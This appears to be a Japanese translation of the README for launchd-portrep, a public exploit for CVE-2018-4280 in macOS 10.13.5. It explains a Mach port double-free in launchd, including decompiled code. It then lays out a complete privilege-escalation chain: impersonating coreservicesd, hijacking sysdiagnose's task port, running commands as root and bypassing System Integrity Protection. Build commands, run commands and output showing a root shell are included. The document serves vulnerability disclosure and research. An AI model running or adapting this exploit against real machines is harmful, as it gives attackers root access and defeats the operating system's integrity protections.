
CVE-2018-4280: macOS 10.13.5 の launchd における Mach ポート置換の脆弱性。ローカル権限昇格と SIP バイパスにつながります。
launchd-portrep は、macOS の最初のユーザースペースプロセスでありサービス管理デーモンである launchd におけるポート置換の脆弱性を利用したエクスプロイトです。ブートストラップポートに細工した Mach メッセージを送信することで、攻撃者も送信権を持つ任意の Mach ポートについて、launchd にその送信権を解放させることができます。これにより、攻撃者はシステムの他の部分に対して、検索できる任意の launchd サービスになりすますことができます。
Launchd はメインポート上で複数の異なる Mach メッセージハンドラを多重化しており、例外メッセージ用の MIG ハンドラも含まれます。プロセスが自身のブートストラップポートに mach_exception_raise または mach_exception_raise_state_identity メッセージを送信すると、launchd はそのメッセージをホストレベルの例外として受信して処理します。
残念ながら、launchd によるこれらのメッセージの処理にはバグがあります。例外タイプが EXC_CRASH の場合、launchd はメッセージ内で送信されたスレッドポートとタスクポートを解放し、その後サービスルーチンから KERN_FAILURE を返すため、MIG システムがスレッドポートとタスクポートを再度解放することになります。(サービスルーチンが成功を返した場合は Mach メッセージ内のすべてのリソースの所有権を取得したと見なされ、サービスルーチンがエラーを返した場合はどのリソースの所有権も取得していないと見なされる、という前提があります。)
以下は、mach_exception_raise メッセージに対する launchd のサービスルーチンのコードを、IDA/Hex-Rays を使用して逆コンパイルし、読みやすさのために軽く編集したものです:
kern_return_t __fastcall
catch_mach_exception_raise( // (a) The service routine is
mach_port_t exception_port, // called with values directly
mach_port_t thread, // from the Mach message
mach_port_t task, // sent by the client. The
unsigned int exception, // thread and task ports could
mach_exception_data_t code, // be arbitrary send rights.
unsigned int codeCnt)
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Host-level exception raised: pid = %d, thread = 0x%x, "
"exception type = 0x%x, codes = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) The "thread" port sent in
if ( kr ) // the message is deallocated.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) The "task" port sent in the
if ( kr ) // message is deallocated.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) If the exception type is 10
result *= 5; // (EXC_CRASH), then an error
} // KERN_FAILURE is returned.
return result; // MIG will deallocate the
} // ports again.
このポート名の二重解放は問題です。なぜなら、プロセスは例外メッセージ内のタスクポートとスレッドポートとして任意のポートを設定できるからです。Launchd は、受信した送信権が実際にスレッドとタスクに対応しているかどうかを一切チェックしません。ポートは、例えば、すでに launchd の IPC 空間にあるポートへの送信権である可能性があります。その場合、二重解放によって launchd は自身のポートの1つに対するユーザー参照を実際に失うことになります。
このバグは、攻撃プロセスも送信権を持つ任意の Mach ポートに対する launchd の送信権を解放するために悪用される可能性があります。特に、攻撃プロセスが launchd を使用してシステムサービスを検索できる場合、そのサービスに対する launchd の送信権を解放し、その後システムの他の部分に対してそのサービスになりすますことができます。その後、システム権限を取得するにはさまざまな経路があります。
このバグは、CVE-2016-7637 のより限定的なバージョンです。CVE-2016-7637 は、Ian Beer によって発見された XNU の Mach ポートのユーザー参照処理の問題で、プロセスが他のプロセス内の Mach ポートを解放できるようにするものでした。Ian Beer は、com.apple.CoreServices.coreservicesd エンドポイントに対する launchd の送信権を自身のポートに置き換え、システムの他の部分に対して coreservicesd になりすますことで、macOS 上でこの脆弱性を悪用しました。Coreservicesd は、クライアントが Mach メッセージでタスクポートを送信する数少ないサービスの1つであるため、魅力的なターゲットです。彼は、coreservicesd に対する launchd の送信権を自身のポートに置き換え、特権クライアントをトリガーして coreservicesd を検索して通信させることで、特権プロセスのタスクポートを取得し、そのプロセス内でコードを実行できました。
macOS での動作は変わっていないため、この脆弱性に対して Ian Beer のエクスプロイト戦略を基本的に流用しました。coreservicesd のサービスポートを含む例外メッセージを launchd に送信し、launchd のそのポートへの送信権を解放するまで続けます。サービスに対して再度 bootstrap_look_up() を呼び出すことで、権利を解放したことを検出できます。launchd が無効なポート名を返した場合、launchd のそのポートへの送信権の解放に成功したことになります。その後、登録したサービスのいずれかが launchd の IPC 空間内で元の coreservicesd ポートと同じ Mach ポート名を割り当てられるまで、多数のサービスを launchd に登録および登録解除を繰り返します。この時点で、launchd 内で com.apple.CoreServices.coreservicesd を検索するプロセスは、実際の coreservicesd ではなく、偽のサービスへの送信権を受け取ることになります。次に、偽のサービスポート上で MITM サーバーを実行し、クライアントから受信したメッセージ内のすべての Mach ポートを検査してから、実際の coreservicesd に転送します。この時点で sysdiagnose にメッセージを送信して tailspin を実行させ、sysdiagnose が偽の coreservicesd ポートに接続してタスクポートを送信するようにさせます。sysdiagnose は task_for_pid-allow エンタイトルメントを持っているため、任意のプロセスのタスクポートを取得できるようになります。
システムの適切な機能を(ほぼ)復元するために、sysdiagnose を使用して launchd のタスクポートを取得し、その launchd のタスクポートを使用して、偽のサービスポートに対する launchd の送信権を、実際の coreservicesd への送信権に戻します。これにより、将来のクライアントは実際に coreservicesd に到達できます。
このアプローチで気づいた問題の1つは、システムがシャットダウン時に短時間ハングするように見えることです。これは、launchd のポートを改変することで、launchd のアカウンティングやポート通知の一部が乱れるためだと思われます。この問題についてさらに調査はしていませんが、launchctl を使用して coreservicesd を再起動すると修正されるようです:
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
task_for_pid-allow プロセス内でコード実行を取得すると、システム上の任意のタスクを制御できます。これは素晴らしいことです。標準的な権限昇格を実行できるだけでなく、SIP エンタイトルメントを持つプロセスにコードを注入することで SIP をバイパスすることもできます。
このエクスプロイトは、root としてのシステムコマンド実行と dylib 注入という2つの潜在的な用途を示しています。システムコマンドを実行するには、sysdiagnose 内から標準の system() 関数を呼び出し、ユーザーが指定したコマンド文字列を渡すだけです。プロセスに dylib を注入するには、sysdiagnose 内から task_for_pid() を呼び出してターゲットのタスクポートを取得し、そのタスクポートを使用して指定されたライブラリに対して dlopen() を呼び出します。
スタンドアロンのエクスプロイト launchd-portrep をビルドするには、make を実行します。さまざまなビルドオプションについては Makefile の先頭を参照してください。最初に threadexec 注入ライブラリをダウンロードしてビルドする必要があります。
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
このエクスプロイトは、sysdiagnose プロセスがすでに実行されていると失敗することに注意してください。したがって、この概念実証の目的では、エクスプロイトを実行する前に sysdiagnose を必ず kill してください。(sysdiagnose がすでに実行されている場合でも機能するようにエクスプロイトを作り直すことは可能ですが、このツールが悪意のある目的で使用されるのを防ぐため、この機能を組み込まないことにしました。)
system() 関数に渡すかのように実行するコマンドを指定して、エクスプロイトを実行します:
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
あるいは、PID と動的ライブラリファイルの絶対パスを指定すると、launchd-portrep は指定されたプロセスに dylib を注入します。
launchd-portrep をラップする2つのサンプルスクリプトもあります: launchd-portrep-rootsh.sh と launchd-portrep-rootless.sh です。
launchd-portrep-rootsh.sh は、/var/suid-sh の下に setuid-root シェルランチャーをインストールして、従来の root シェルを提供します。(setuid シェルは1秒後に自動的に削除されます。)
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#
launchd-portrep-rootless.sh はさらに興味深いものです。ファイルシステムに対する rootless 制限が無効化されたシェルを提供します。これは、com.apple.rootless.install.heritable エンタイトルメントを持つ diskmanagementd を起動し、その diskmanagementd に dylib を注入して、標準入力と標準出力が名前付きパイプにバインドされたシェルを起動させることで実現します。エンタイトルメントの名前が示すように、com.apple.rootless.install.heritable によって付与される SIP の免除は子プロセスに引き継がれます。つまり、そのシェルとそこで実行するすべてのコマンドは、SIP のファイルシステム保護から実質的に免除されます。
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 4 root wheel restricted 128 Jul 25 19:08 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 5 root wheel restricted 160 Jul 25 19:19 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
-rw-r--r-- 1 root wheel restricted 0 Jul 25 19:19 exploit-success
bash-3.2# exit
launchd-portrep は macOS 10.13.5 17F77 でテストされています。
launchd-portrep のコードは MIT ライセンスの下で公開されています。
Brandon Azad